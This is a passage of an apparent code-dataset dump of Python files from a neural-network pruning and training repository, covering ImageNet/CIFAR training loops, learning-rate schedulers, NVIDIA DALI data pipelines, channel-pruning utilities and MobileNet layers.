test(model, val_loader, criterion, device, dtype) # TODO\n return\n \n # Warmup scheduler\n if args.warmup == 0:\n warmup_scheduler = None\n print('No warm up epoch')\n else:\n warmup_step = args.warmup*len(train_loader)\n print(\"Warmup config:\",args.warmup,len(train_loader))\n warmup_scheduler = linear_warmup_scheduler(optimizer, warmup_step, args.warm_lr, args.learning_rate)\n\n if args.find_clr:\n find_bounds_clr(model, train_loader, optimizer, criterion, device, dtype, min_lr=args.min_lr,\n max_lr=args.max_lr, step_size=args.epochs_per_step * len(train_loader), mode=args.mode,\n save_path=save_path)\n return\n\n if args.clr:\n scheduler = CyclicLR(optimizer, base_lr=args.min_lr, max_lr=args.max_lr,\n step_size=args.epochs_per_step * len(train_loader), mode=args.mode)\n else:\n print('use cosine LR')\n #scheduler = MultiStepLR(optimizer, milestones=args.schedule, gamma=args.gamma)\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, args.epochs-args.warmup, eta_min=0)\n \n best_test = 0\n\n # optionally resume from a checkpoint\n data = None \n\n csv_logger = CsvLogger(filepath=save_path, data=data)\n csv_logger.save_params(sys.argv, args)\n \n \n claimed_acc1 = 100.00-31.89\n claimed_acc5 = 100.00-11.24\n train_network(args.start_epoch, args.epochs, scheduler, model, train_loader, val_loader, optimizer, criterion,\n device, dtype, args.batch_size, args.log_interval, csv_logger, save_path, claimed_acc1, claimed_acc5,\n best_test, warmup_scheduler)\n\n\ndef train_network(start_epoch, epochs, scheduler, model, train_loader, val_loader, optimizer, criterion, device, dtype,\n batch_size, log_interval, csv_logger, save_path, claimed_acc1, claimed_acc5, best_test, warmup_scheduler):\n for epoch in range(start_epoch, epochs + 1):\n\n train_loss, train_accuracy1, train_accuracy5, = train(model, train_loader, epoch, optimizer, criterion, device,\n dtype, batch_size, log_interval, scheduler, warmup_scheduler)\n test_loss, test_accuracy1, test_accuracy5 = test(model, val_loader, criterion, device, dtype)\n \n if not isinstance(scheduler, CyclicLR) and not warmup_scheduler.if_in_warmup():\n scheduler.step()\n \n csv_logger.write({'epoch': epoch + 1, 'val_error1': 1 - test_accuracy1, 'val_error5': 1 - test_accuracy5,\n 'val_loss': test_loss, 'train_error1': 1 - train_accuracy1,\n 'train_error5': 1 - train_accuracy5, 'train_loss': train_loss})\n save_checkpoint({'epoch': epoch + 1, 'state_dict': model.state_dict(), 'best_prec1': best_test,\n 'optimizer': optimizer.state_dict()}, test_accuracy1 > best_test, filepath=save_path)\n\n csv_logger.plot_progress(claimed_acc1=claimed_acc1, claimed_acc5=claimed_acc5)\n\n if test_accuracy1 > best_test:\n best_test = test_accuracy1\n\n csv_logger.write_text('Best accuracy is {:.2f}% top-1'.format(best_test * 100.))\n\n\nif __name__ == '__main__':\n main()\n", "id": "1042796", "language": "Python", "matching_score": 3.4389140605926514, "max_stars_count": 8, "path": "imagenet/imagenet.py" }, { "content": "import time\n\nimport torch\nimport torchvision.transforms as transforms\nimport torchvision\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\nfrom .scheduler import linear_warmup_scheduler\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\nclass LabelSmoothCELoss(nn.Module):\n def __init__(self, smoothing=0.1):\n super().__init__()\n self.smoothing=smoothing\n print('label smoothing:', self.smoothing)\n \n def forward(self, pred, label):\n pred = F.softmax(pred, dim=1)\n one_hot_label = F.one_hot(label, pred.size(1)).float()\n smoothed_one_hot_label = (\n 1.0 - self.smoothing) * one_hot_label + self.smoothing / pred.size(1)\n loss = (-torch.log(pred)) * smoothed_one_hot_label\n loss = loss.sum(axis=1, keepdim=False)\n loss = loss.mean()\n\n return loss\n\ndef train(net, epochs, lr, train_loader, test_loader, save_info='./', save_acc=80.0, start_epoch=0, device='cuda', log_every_n=50, **kargs):\n \"\"\"\n Training a network\n :param net: Network for training\n :param epochs: Number of epochs in total.\n :param batch_size: Batch size for training.\n \"\"\"\n #print('==> Preparing data..')\n criterion = LabelSmoothCELoss(kargs[\"label_smoothing\"])\n\n criterion = nn.CrossEntropyLoss()\n\n optimizer = optim.SGD(net.parameters(), lr=lr, momentum=0.9, weight_decay=5e-4, nesterov=True)\n #scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=[int(epochs*0.5), int(epochs*0.75)], gamma=0.1)\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, epochs, eta_min=0)\n\n warmup_scheduler = linear_warmup_scheduler(optimizer, kargs[\"warmup_step\"], kargs[\"warm_lr\"], lr)\n \n best_acc = 0 # best test accuracy\n for epoch in range(start_epoch, epochs):\n \"\"\"\n Start the training code.\n \"\"\"\n print('\\nEpoch: %d' % epoch, '/ %d;' % epochs, 'learning_rate:', optimizer.state_dict()['param_groups'][0]['lr'])\n net.train()\n train_loss = 0\n correct = 0\n total = 0\n for batch_idx, (inputs, targets) in enumerate(train_loader):\n # 如果 warmup scheduler=None 或者不在 warmup 范围里, if_warmup=False\n if_warmup=False if warmup_scheduler==None else warmup_scheduler.if_in_warmup()\n\n inputs, targets = inputs.to(device), targets.to(device)\n optimizer.zero_grad()\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n loss.backward()\n \n optimizer.step()\n\n if if_warmup:\n warmup_scheduler.step()\n\n # clear masked weights to zero\n '''for n, m in net.named_modules():\n if isinstance(m, nn.Conv2d):\n mask = m.mask\n m.weight.data *= mask\n m.weight.grad.data *= mask'''\n \n train_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n\n print(\"Train Loss=%.8f, Train acc=%.8f\"\n % (train_loss / (batch_idx + 1), (correct / total)))\n \n if not warmup_scheduler or not warmup_scheduler.if_in_warmup():\n scheduler.step()\n\n \"\"\"\n Start the testing code.\n \"\"\"\n net.eval()\n test_loss = 0\n correct = 0\n total = 0\n with torch.no_grad():\n for batch_idx, (inputs, targets) in enumerate(test_loader):\n inputs, targets = inputs.to(device), targets.to(device)\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n\n test_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n num_val_steps = len(test_loader)\n val_acc = correct / total\n if(kargs.__contains__(\"ablation\") and kargs[\"ablation\"][0]<val_acc):\n kargs[\"ablation\"][0]=val_acc\n\n if val_acc*100 > save_acc:\n save_acc = val_acc*100\n info = save_info+'_'+str(save_acc)[0:5]+'.pth'\n print(info)\n torch.save(net.state_dict(), info)\n print(\"Test Loss=%.8f, Test acc=%.8f\" % (test_loss / (num_val_steps), val_acc))\n\ndef test(net, testloader):\n\n criterion = nn.CrossEntropyLoss()\n\n net.eval()\n test_loss = 0\n correct = 0\n total = 0\n with torch.no_grad():\n for batch_idx, (inputs, targets) in enumerate(testloader):\n inputs, targets = inputs.to(device), targets.to(device)\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n\n test_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n num_val_steps = len(testloader)\n val_acc = correct / total\n print(\"Test Loss=%.4f, Test accuracy=%.4f\" % (test_loss / (num_val_steps), val_acc))\n loss = test_loss / num_val_steps\n return loss, val_acc\n\ndef load_model_pytorch(model, load_model, model_name):\n #print(\"=> loading checkpoint '{}'\".format(load_model))\n checkpoint = torch.load(load_model)\n\n if 'state_dict' in checkpoint.keys():\n load_from = checkpoint['state_dict']\n else:\n load_from = checkpoint\n\n # match_dictionaries, useful if loading model without gate:\n if 'module.' in list(model.state_dict().keys())[0]:\n if 'module.' not in list(load_from.keys())[0]:\n from collections import OrderedDict\n\n load_from = OrderedDict([(\"module.{}\".format(k), v) for k, v in load_from.items()])\n\n if 'module.' not in list(model.state_dict().keys())[0]:\n if 'module.' in list(load_from.keys())[0]:\n from collections import OrderedDict\n\n load_from = OrderedDict([(k.replace(\"module.\", \"\"), v) for k, v in load_from.items()])\n\n # just for vgg\n if model_name == \"vgg\":\n from collections import OrderedDict\n\n load_from = OrderedDict([(k.replace(\"features.\", \"features\"), v) for k, v in load_from.items()])\n load_from = OrderedDict([(k.replace(\"classifier.\", \"classifier\"), v) for k, v in load_from.items()])\n\n if 1:\n for ind, (key, item) in enumerate(model.state_dict().items()):\n if ind > 10:\n continue\n #print(key, model.state_dict()[key].shape)\n\n #print(\"*********\")\n\n for ind, (key, item) in enumerate(load_from.items()):\n if ind > 10:\n continue\n #print(key, load_from[key].shape)\n\n for key, item in model.state_dict().items():\n # if we add gate that is not in the saved file\n if key not in load_from:\n load_from[key] = item\n # if load pretrined model\n if load_from[key].shape != item.shape:\n load_from[key] = item\n\n model.load_state_dict(load_from, False)\n\n\n epoch_from = -1\n", "id": "271333", "language": "Python", "matching_score": 2.075890302658081, "max_stars_count": 8, "path": "utils/train_util.py" }, { "content": "import os\nimport sys\nimport torch\nimport pickle\nimport numpy as np\nimport nvidia.dali.ops as ops\nimport nvidia.dali.types as types\nfrom sklearn.utils import shuffle\nfrom nvidia.dali.pipeline import Pipeline\nfrom nvidia.dali.plugin.pytorch import DALIClassificationIterator, DALIGenericIterator\n\nIMAGENET_IMAGES_NUM_TRAIN = 1281167\nIMAGENET_IMAGES_NUM_TEST = 50000\nCIFAR_IMAGES_NUM_TRAIN = 50000\nCIFAR_IMAGES_NUM_TEST = 10000\n\n\nclass Cutout(object):\n def __init__(self, length):\n self.length = length\n\n def __call__(self, img):\n h, w = img.size(1), img.size(2)\n mask = np.ones((h, w), np.float32)\n y = np.random.randint(h)\n x = np.random.randint(w)\n\n y1 = np.clip(y - self.length // 2, 0, h)\n y2 = np.clip(y + self.length // 2, 0, h)\n x1 = np.clip(x - self.length // 2, 0, w)\n x2 = np.clip(x + self.length // 2, 0, w)\n\n mask[y1: y2, x1: x2] = 0.\n mask = torch.from_numpy(mask)\n mask = mask.expand_as(img)\n img *= mask\n return img\n\n\ndef cutout_func(img, length=16):\n h, w = img.size(1), img.size(2)\n mask = np.ones((h, w), np.float32)\n y = np.random.randint(h)\n x = np.random.randint(w)\n\n y1 = np.clip(y - length // 2, 0, h)\n y2 = np.clip(y + length // 2, 0, h)\n x1 = np.clip(x - length // 2, 0, w)\n x2 = np.clip(x + length // 2, 0, w)\n\n mask[y1: y2, x1: x2] = 0.\n # mask = torch.from_numpy(mask)\n mask = mask.reshape(img.shape)\n img *= mask\n return img\n\n\ndef cutout_batch(img, length=16):\n h, w = img.size(2), img.size(3)\n masks = []\n for i in range(img.size(0)):\n mask = np.ones((h, w), np.float32)\n y = np.random.randint(h)\n x = np.random.randint(w)\n\n y1 = np.clip(y - length // 2, 0, h)\n y2 = np.clip(y + length // 2, 0, h)\n x1 = np.clip(x - length // 2, 0, w)\n x2 = np.clip(x + length // 2, 0, w)\n\n mask[y1: y2, x1: x2] = 0.\n mask = torch.from_numpy(mask)\n mask = mask.expand_as(img[0]).unsqueeze(0)\n masks.append(mask)\n masks = torch.cat(masks).cuda()\n img *= masks\n return img\n\n\nclass DALIDataloader(DALIGenericIterator):\n def __init__(self, pipeline, size, batch_size, output_map=[\"data\", \"label\"], auto_reset=True, onehot_label=False, dataset='imagenet'):\n self._size_all = size\n self.batch_size = batch_size\n self.onehot_label = onehot_label\n self.output_map = output_map\n if dataset != 'cifar10':\n super().__init__(pipelines=pipeline, reader_name=\"Reader\",\n fill_last_batch=False, output_map=output_map)\n else:\n super().__init__(pipelines=pipeline, size=size, auto_reset=auto_reset,\n output_map=output_map, fill_last_batch=True, last_batch_padded=False)\n\n def __next__(self):\n if self._first_batch is not None:\n batch = self._first_batch\n self._first_batch = None\n return batch\n data = super().__next__()[0]\n if self.onehot_label:\n return [data[self.output_map[0]], data[self.output_map[1]].squeeze().long()]\n else:\n return [data[self.output_map[0]], data[self.output_map[1]]]\n\n def __len__(self):\n if self._size_all % self.batch_size == 0:\n return self._size_all//self.batch_size\n else:\n return self._size_all//self.batch_size+1\n\n\nclass HybridTrainPipe(Pipeline):\n def __init__(self, batch_size, num_threads, device_id, data_dir, crop, dali_cpu=False, local_rank=0, world_size=1):\n super(HybridTrainPipe, self).__init__(batch_size,\n num_threads, device_id, seed=12 + device_id)\n self.input = ops.FileReader(file_root=data_dir, shard_id=local_rank,\n num_shards=world_size, random_shuffle=True, pad_last_batch=True)\n # let user decide which pipeline works him bets for RN version he runs\n if dali_cpu:\n dali_device = \"cpu\"\n self.decode = ops.HostDecoderRandomCrop(device=dali_device, output_type=types.RGB,\n random_aspect_ratio=[\n 0.8, 1.25],\n random_area=[0.1, 1.0],\n num_attempts=100)\n else:\n dali_device = \"gpu\"\n # This padding sets the size of the internal nvJPEG buffers to be able to handle all images from full-sized ImageNet\n # without additional reallocations\n self.decode = ops.ImageDecoderRandomCrop(device=\"mixed\", output_type=types.RGB,\n device_memory_padding=211025920, host_memory_padding=140544512,\n random_aspect_ratio=[\n 0.8, 1.25],\n random_area=[0.1, 1.0],\n num_attempts=100)\n self.res = ops.Resize(device=dali_device, resize_x=crop,\n resize_y=crop, interp_type=types.INTERP_TRIANGULAR)\n self.cmnp = ops.CropMirrorNormalize(device=\"gpu\",\n dtype=types.FLOAT,\n output_layout=types.NCHW,\n crop=(crop, crop),\n mean=[0.485 * 255, 0.456 * 255, 0.406 * 255],\n std=[0.229 * 255, 0.224 * 255, 0.225 * 255])\n self.coin = ops.CoinFlip(probability=0.5)\n print('DALI \"{0}\" variant'.format(dali_device))\n\n def define_graph(self):\n rng = self.coin()\n self.jpegs, self.labels = self.input(name=\"Reader\")\n images = self.decode(self.jpegs)\n images = self.res(images)\n output = self.cmnp(images.gpu(), mirror=rng)\n return [output, self.labels]\n\n\nclass HybridValPipe(Pipeline):\n def __init__(self, batch_size, num_threads, device_id, data_dir, crop, size, local_rank=0, world_size=1):\n super(HybridValPipe, self).__init__(batch_size,\n num_threads, device_id, seed=12 + device_id)\n self.input = ops.FileReader(file_root=data_dir, shard_id=local_rank, num_shards=world_size,\n random_shuffle=False)\n self.decode = ops.ImageDecoder(device=\"mixed\", output_type=types.RGB)\n self.res = ops.Resize(device=\"gpu\", resize_shorter=size,\n interp_type=types.INTERP_TRIANGULAR)\n self.cmnp = ops.CropMirrorNormalize(device=\"gpu\",\n dtype=types.FLOAT,\n output_layout=types.NCHW,\n crop=(crop, crop),\n mean=[0.485 * 255, 0.456 * 255, 0.406 * 255],\n std=[0.229 * 255, 0.224 * 255, 0.225 * 255])\n\n def define_graph(self):\n self.jpegs, self.labels = self.input(name=\"Reader\")\n images = self.decode(self.jpegs)\n images = self.res(images)\n output = self.cmnp(images)\n return [output, self.labels]\n\n\ndef get_imagenet_iter(data_type, image_dir, batch_size, num_threads, device_id, num_gpus, crop, val_size=256, world_size=1,\n local_rank=0):\n if data_type == 'train':\n pip_train = HybridTrainPipe(batch_size=batch_size, num_threads=num_threads, device_id=local_rank,\n data_dir=image_dir, crop=crop, world_size=world_size, local_rank=local_rank)\n pip_train.build()\n dali_iter_train = DALIDataloader(\n pipeline=pip_train, size=IMAGENET_IMAGES_NUM_TRAIN // world_size, batch_size=batch_size, onehot_label=True)\n return dali_iter_train\n elif data_type == 'val':\n pip_val = HybridValPipe(batch_size=batch_size, num_threads=num_threads, device_id=local_rank,\n data_dir=image_dir, crop=crop, size=val_size, world_size=world_size, local_rank=local_rank)\n pip_val.build()\n dali_iter_val = DALIDataloader(\n pipeline=pip_val, size=IMAGENET_IMAGES_NUM_TEST // world_size, batch_size=batch_size, onehot_label=True)\n return dali_iter_val\n\n\nclass HybridTrainPipe_CIFAR(Pipeline):\n def __init__(self, batch_size, num_threads, device_id, data_dir, crop, dali_cpu=False, local_rank=0, world_size=1,\n cutout=0):\n super(HybridTrainPipe_CIFAR, self).__init__(\n batch_size, num_threads, device_id, seed=12 + device_id)\n self.iterator = iter(CIFAR_INPUT_ITER(\n batch_size, 'train', root=data_dir))\n dali_device = \"gpu\"\n self.input = ops.ExternalSource()\n self.input_label = ops.ExternalSource()\n self.pad = ops.Paste(device=dali_device, ratio=1.25, fill_value=0)\n self.uniform = ops.Uniform(range=(0., 1.))\n self.crop = ops.Crop(device=dali_device, crop_h=32, crop_w=32)\n self.cmnp = ops.CropMirrorNormalize(device=\"gpu\",\n output_layout=types.NCHW,\n mean=[125.31, 122.95, 113.87],\n std=[63.0, 62.09, 66.70]\n )\n self.coin = ops.CoinFlip(probability=0.5)\n self.flip = ops.Flip(device=\"gpu\")\n\n def iter_setup(self):\n (images, labels) = self.iterator.next()\n self.feed_input(self.jpegs, images)\n self.feed_input(self.labels, labels)\n\n def define_graph(self):\n rng = self.coin()\n self.jpegs = self.input(name=\"Reader\")\n self.labels = self.input_label()\n output = self.jpegs\n output = self.pad(output.gpu())\n output = self.crop(output, crop_pos_x=self.uniform(),\n crop_pos_y=self.uniform())\n output = self.flip(output, horizontal=rng)\n output = self.cmnp(output)\n return [output, self.labels]\n\n\nclass HybridValPipe_CIFAR(Pipeline):\n def __init__(self, batch_size, num_threads, device_id, data_dir, crop, size, local_rank=0, world_size=1):\n super(HybridValPipe_CIFAR, self).__init__(\n batch_size, num_threads, device_id, seed=12 + device_id)\n self.iterator = iter(CIFAR_INPUT_ITER(\n batch_size, 'val', root=data_dir))\n self.input = ops.ExternalSource()\n self.input_label = ops.ExternalSource()\n self.pad = ops.Paste(device=\"gpu\", ratio=1., fill_value=0)\n self.uniform = ops.Uniform(range=(0., 1.))\n self.crop = ops.Crop(device=\"gpu\", crop_h=32, crop_w=32)\n self.coin = ops.CoinFlip(probability=0.5)\n self.flip = ops.Flip(device=\"gpu\")\n self.cmnp = ops.CropMirrorNormalize(device=\"gpu\",\n output_layout=types.NCHW,\n mean=[125.31, 122.95, 113.87],\n std=[63.0, 62.09, 66.70]\n )\n\n def iter_setup(self):\n (images, labels) = self.iterator.next()\n self.feed_input(self.jpegs, images) # can only in HWC order\n self.feed_input(self.labels, labels)\n\n def define_graph(self):\n self.jpegs = self.input(name=\"Reader\")\n self.labels = self.input_label()\n # rng = self.coin()\n output = self.jpegs\n output = self.pad(output.gpu())\n output = self.cmnp(output.gpu())\n return [output, self.labels]\n\n\nclass CIFAR_INPUT_ITER():\n base_folder = 'cifar-10-batches-py'\n train_list = [\n ['data_batch_1', 'c99cafc152244af753f735de768cd75f'],\n ['data_batch_2', 'd4bba439e000b95fd0a9bffe97cbabec'],\n ['data_batch_3', '54ebc095f3ab1f0389bbae665268c751'],\n ['data_batch_4', '634d18415352ddfa80567beed471001a'],\n ['data_batch_5', '482c414d41f54cd18b22e5b47cb7c3cb'],\n ]\n\n test_list = [\n ['test_batch', '40351d587109b95175f43aff81a1287e'],\n ]\n\n def __init__(self, batch_size, data_type='train', root='/userhome/data/cifar10'):\n self.root = root\n self.batch_size = batch_size\n self.train = (data_type == 'train')\n if self.train:\n downloaded_list = self.train_list\n else:\n downloaded_list = self.test_list\n\n self.data = []\n self.targets = []\n for file_name, checksum in downloaded_list:\n file_path = os.path.join(self.root, self.base_folder, file_name)\n with open(file_path, 'rb') as f:\n if sys.version_info[0] == 2:\n entry = pickle.load(f)\n else:\n entry = pickle.load(f, encoding='latin1')\n self.data.append(entry['data'])\n if 'labels' in entry:\n self.targets.extend(entry['labels'])\n else:\n self.targets.extend(entry['fine_labels'])\n\n self.data = np.vstack(self.data).reshape(-1, 3, 32, 32)\n self.targets = np.vstack(self.targets)\n self.data = self.data.transpose((0, 2, 3, 1)) # convert to HWC\n np.save(\"cifar.npy\", self.data)\n self.data = np.load('cifar.npy') # to serialize, increase locality\n\n def __iter__(self):\n self.i = 0\n self.n = len(self.data)\n return self\n\n def __next__(self):\n batch = []\n labels = []\n for _ in range(self.batch_size):\n if self.train and self.i % self.n == 0:\n self.data, self.targets = shuffle(\n self.data, self.targets, random_state=0)\n img, label = self.data[self.i], self.targets[self.i]\n batch.append(img)\n labels.append(label)\n self.i = (self.i + 1) % self.n\n return (batch, labels)\n\n next = __next__\n\n\ndef get_cifar_iter(data_type, image_dir, batch_size, num_threads, local_rank=0, world_size=1, val_size=32, cutout=0):\n if data_type == 'train':\n pip_train = HybridTrainPipe_CIFAR(batch_size=batch_size, num_threads=num_threads, device_id=local_rank,\n data_dir=image_dir,\n crop=32, world_size=world_size, local_rank=local_rank, cutout=cutout)\n pip_train.build()\n dali_iter_train = DALIDataloader(pipeline=pip_train, size=CIFAR_IMAGES_NUM_TRAIN // world_size, batch_size=batch_size, onehot_label=True, dataset='cifar10')\n return dali_iter_train\n\n elif data_type == 'val':\n pip_val = HybridValPipe_CIFAR(batch_size=batch_size, num_threads=num_threads, device_id=local_rank,\n data_dir=image_dir,\n crop=32, size=val_size, world_size=world_size, local_rank=local_rank)\n pip_val.build()\n dali_iter_val = DALIDataloader(pipeline=pip_val, size=CIFAR_IMAGES_NUM_TEST // world_size, batch_size=batch_size, onehot_label=True, dataset='cifar10')\n return dali_iter_val\n", "id": "12122435", "language": "Python", "matching_score": 1.636955738067627, "max_stars_count": 8, "path": "imagenet/utils/get_data_iter.py" }, { "content": "import torch\nimport numpy as np\nimport torch.nn as nn\n\ndef _make_divisible(v, divisor=8, min_value=None):\n \"\"\"\n This function is taken from the original tf repo.\n It ensures that all layers have a channel number that is divisible by 8\n It can be seen here:\n https://github.com/tensorflow/models/blob/master/research/slim/nets/mobilenet/mobilenet.py\n :param v:\n :param divisor:\n :param min_value:\n :return:\n \"\"\"\n if min_value is None:\n min_value = divisor\n new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)\n # Make sure that round down does not go down by more than 10%.\n if new_v < 0.9 * v:\n new_v += divisor\n return new_v\n\ndef build_activation(act_func, inplace=True):\n if act_func == 'relu':\n return nn.ReLU(inplace=inplace)\n elif act_func == 'relu6':\n return nn.ReLU6(inplace=inplace)\n elif act_func == 'tanh':\n return nn.Tanh()\n elif act_func == 'sigmoid':\n return nn.Sigmoid()\n elif act_func is None:\n return None\n else:\n raise ValueError('do not support: %s' % act_func)\n\ndef raw2cfg(model, raw_ratios, flops, p=False, div=8):\n left = 0\n right = 50\n scale = 0\n cfg = None\n current_flops = 0\n base_channels = model.config['cfg_base']\n cnt = 0\n while (True):\n cnt += 1\n scale = (left + right) / 2\n scaled_ratios = raw_ratios * scale\n for i in range(len(scaled_ratios)):\n scaled_ratios[i] = max(0.1, scaled_ratios[i])\n scaled_ratios[i] = min(1, scaled_ratios[i])\n cfg = (base_channels * scaled_ratios).astype(int).tolist()\n for i in range(len(cfg)):\n cfg[i] = _make_divisible(cfg[i], div) # 8 divisible channels\n current_flops = model.cfg2flops(cfg)\n if cnt > 20:\n break\n if abs(current_flops - flops) / flops < 0.01:\n break\n if p:\n print(str(current_flops)+'---'+str(flops)+'---left: '+str(left)+'---right: '+str(right)+'---cfg: '+str(cfg))\n if current_flops < flops:\n left = scale\n elif current_flops > flops:\n right = scale\n else:\n break\n return cfg\n\ndef weight2mask(weight, keep_c): # simple L1 pruning\n weight_copy = weight.abs().clone()\n L1_norm = torch.sum(weight_copy, dim=(1,2,3))\n arg_max = torch.argsort(L1_norm, descending=True)\n arg_max_rev = arg_max[:keep_c].tolist()\n mask = np.zeros(weight.shape[0])\n mask[arg_max_rev] = 1\n return mask\n\ndef get_unpruned_weights(model, model_origin):\n masks = []\n for [m0, m1] in zip(model_origin.named_modules(), model.named_modules()):\n if isinstance(m0[1], nn.Conv2d):\n if m0[1].weight.data.shape!=m1[1].weight.data.shape:\n flag = False\n if m0[1].weight.data.shape[1]!=m1[1].weight.data.shape[1]:\n assert len(masks)>0, \"masks is empty!\"\n if m0[0].endswith('downsample.conv'):\n if model.config['depth']>=50:\n mask = masks[-4]\n else:\n mask = masks[-3]\n else:\n mask = masks[-1]\n idx = np.squeeze(np.argwhere(mask))\n if idx.size == 1:\n idx = np.resize(idx, (1,))\n w = m0[1].weight.data[:, idx.tolist(), :, :].clone()\n flag = True\n if m0[1].weight.data.shape[0]==m1[1].weight.data.shape[0]:\n masks.append(None)\n if m0[1].weight.data.shape[0]!=m1[1].weight.data.shape[0]:\n if m0[0].endswith('downsample.conv'):\n mask = masks[-1]\n else:\n if flag:\n mask = weight2mask(w.clone(), m1[1].weight.data.shape[0])\n else:\n mask = weight2mask(m0[1].weight.data, m1[1].weight.data.shape[0])\n idx = np.squeeze(np.argwhere(mask))\n if idx.size == 1:\n idx = np.resize(idx, (1,))\n if flag:\n w = w[idx.tolist(), :, :, :].clone()\n else:\n w = m0[1].weight.data[idx.tolist(), :, :, :].clone()\n m1[1].weight.data = w.clone()\n masks.append(mask)\n continue\n else:\n m1[1].weight.data = m0[1].weight.data.clone()\n masks.append(None)\n elif isinstance(m0[1], nn.BatchNorm2d):\n assert isinstance(m1[1], nn.BatchNorm2d), \"There should not be bn layer here.\"\n if m0[1].weight.data.shape!=m1[1].weight.data.shape:\n mask = masks[-1]\n idx = np.squeeze(np.argwhere(mask))\n if idx.size == 1:\n idx = np.resize(idx, (1,))\n m1[1].weight.data = m0[1].weight.data[idx.tolist()].clone()\n m1[1].bias.data = m0[1].bias.data[idx.tolist()].clone()\n m1[1].running_mean = m0[1].running_mean[idx.tolist()].clone()\n m1[1].running_var = m0[1].running_var[idx.tolist()].clone()\n continue\n m1[1].weight.data = m0[1].weight.data.clone()\n m1[1].bias.data = m0[1].bias.data.clone()\n m1[1].running_mean = m0[1].running_mean.clone()\n m1[1].running_var = m0[1].running_var.clone()\n\n# noinspection PyUnresolvedReferences\ndef cross_entropy_with_label_smoothing(pred, target, label_smoothing=0.1):\n logsoftmax = nn.LogSoftmax(dim=1)\n n_classes = pred.size(1)\n # convert to one-hot\n target = torch.unsqueeze(target, 1)\n soft_target = torch.zeros_like(pred)\n soft_target.scatter_(1, target, 1)\n # label smoothing\n soft_target = soft_target * (1 - label_smoothing) + label_smoothing / n_classes\n return torch.mean(torch.sum(- soft_target * logsoftmax(pred), 1))\n\n\ndef count_parameters(model):\n total_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n return total_params\n\n\ndef detach_variable(inputs):\n if isinstance(inputs, tuple):\n return tuple([detach_variable(x) for x in inputs])\n else:\n x = inputs.detach()\n x.requires_grad = inputs.requires_grad\n return x\n\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\" Computes the precision@k for the specified values of k \"\"\"\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].reshape(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\n\nclass AverageMeter(object):\n \"\"\"\n Computes and stores the average and current value\n Copied from: https://github.com/pytorch/examples/blob/master/imagenet/main.py\n \"\"\"\n\n def __init__(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n", "id": "8155292", "language": "Python", "matching_score": 1.8289912939071655, "max_stars_count": 8, "path": "imagenet/utils/pytorch_utils.py" }, { "content": "import torch.nn as nn\nfrom nets.base_models import *\nfrom collections import OrderedDict\nimport sys\nimport numpy as np\n\ndef conv_bn(inp, oup, stride):\n return nn.Sequential(OrderedDict([('conv', nn.Conv2d(inp, oup, 3, stride, 1, bias=False)),\n ('bn', nn.BatchNorm2d(oup)),\n ('relu', nn.ReLU6(inplace=True))]))\n\n\ndef conv_1x1_bn(inp, oup):\n return nn.Sequential(OrderedDict([('conv', nn.Conv2d(inp, oup, 1, 1, 0, bias=False)),\n ('bn', nn.BatchNorm2d(oup)),\n ('relu', nn.ReLU6(inplace=True))]))\n\ndef conv_dw(inp, oup, stride):\n conv1 = nn.Sequential(OrderedDict([('conv', nn.Conv2d(inp, inp, 3, stride, 1, groups=inp, bias=False)),\n ('bn', nn.BatchNorm2d(inp)),\n ('relu', nn.ReLU(inplace=True))]))\n conv2 = nn.Sequential(OrderedDict([('conv', nn.Conv2d(inp, oup, 1, 1, 0, bias=False)),\n ('bn', nn.BatchNorm2d(oup)),\n ('relu', nn.ReLU(inplace=True))]))\n return nn.Sequential(conv1, conv2)\n\nclass InvertedResidual(nn.Module):\n def __init__(self, inp, oup, stride, expand_ratio):\n super(InvertedResidual, self).__init__()\n self.stride = stride\n assert stride in [1, 2]\n\n hidden_dim = round(inp * expand_ratio)\n self.use_res_connect = self.stride == 1 and inp == oup\n '''if self.use_res_connect:\n print(inp, oup, 'use_res_connect')\n else:\n print(inp, oup, 'no_res')'''\n \n if expand_ratio == 1:\n dw = nn.Sequential(OrderedDict([('conv', nn.Conv2d(hidden_dim, hidden_dim, 3, stride, 1, groups=hidden_dim, bias=False)),\n ('bn', nn.BatchNorm2d(hidden_dim)),\n ('relu', nn.ReLU6(inplace=True))]))\n pw = nn.Sequential(OrderedDict([('conv', nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False)),\n ('bn', nn.BatchNorm2d(oup))]))\n self.conv = nn.Sequential(dw, pw)\n else:\n pw = nn.Sequential(OrderedDict([('conv', nn.Conv2d(inp, hidden_dim, 1, 1, 0, bias=False)),\n ('bn', nn.BatchNorm2d(hidden_dim)),\n ('relu', nn.ReLU6(inplace=True))]))\n dw = nn.Sequential(OrderedDict([('conv', nn.Conv2d(hidden_dim, hidden_dim, 3, stride, 1, groups=hidden_dim, bias=False)),\n ('bn', nn.BatchNorm2d(hidden_dim)),\n ('relu', nn.ReLU6(inplace=True))]))\n pwl = nn.Sequential(OrderedDict([('conv', nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False)),\n ('bn', nn.BatchNorm2d(oup))]))\n self.conv = nn.Sequential(pw, dw, pwl)\n\n def forward(self, 